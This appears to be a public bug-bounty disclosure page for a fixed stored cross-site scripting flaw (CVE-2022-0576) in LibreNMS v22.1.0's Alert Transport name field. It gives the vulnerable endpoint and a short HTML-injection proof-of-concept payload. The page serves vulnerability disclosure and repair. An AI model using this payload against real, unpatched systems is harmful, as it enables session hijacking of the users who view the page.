Cross-site Scripting (XSS) - Generic in librenms/librenms

0

Valid Reported on Feb 12th 2022

Description

Cross-Site Scripting vulnerability in LibreNMS v22.1.0 which allows attackers to execute arbitrary javascript code which affected Alerts module (Alert Transport) in Transport name field.

Proof of Concept

Endpoint:
1 POST http://{HOST}/ajax_form.php - Parameter name
~
Payload:

```
'><body onload=alert("TName")>
```

~
XSS will fire-up by user visiting:
1 http://{HOST}/alert-transports
~
PoC images:
1 payload
2 XSS-Name field

Impact

This vulnerability is capable of running malicious javascript code on web pages, stealing a user's cookie and gain unauthorized access to that user's account through the stolen cookie.

Occurrences

alert-transports.inc.php L38

CVE
CVE-2022-0576

(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Generic
Severity
Medium (5.4)

Visibility
Public

Status
Fixed

Found by

Faisal Fs ⚔️
@faisalfs10x
unranked

Fixed by

PipoCanaja
@pipocanaja
maintainer

This report was seen 412 times.

We are processing your report and will contact the **librenms** team within 24 hours. 9 months ago

Faisal Fs ⚔️ modified the report 9 months ago

Faisal Fs ⚔️ modified the report 9 months ago

Faisal Fs ⚔️ modified the report 9 months ago

Faisal Fs ⚔️ modified the report 9 months ago

Faisal Fs ⚔️ modified the report 9 months ago

PipoCanaja validated this vulnerability 9 months ago

Faisal Fs ⚔ has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

PipoCanaja marked this as fixed in 22.1.0 with commit 135717 9 months ago

PipoCanaja has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

alert-transports.inc.php#L38 has been validated ✔

Sign in to join this conversation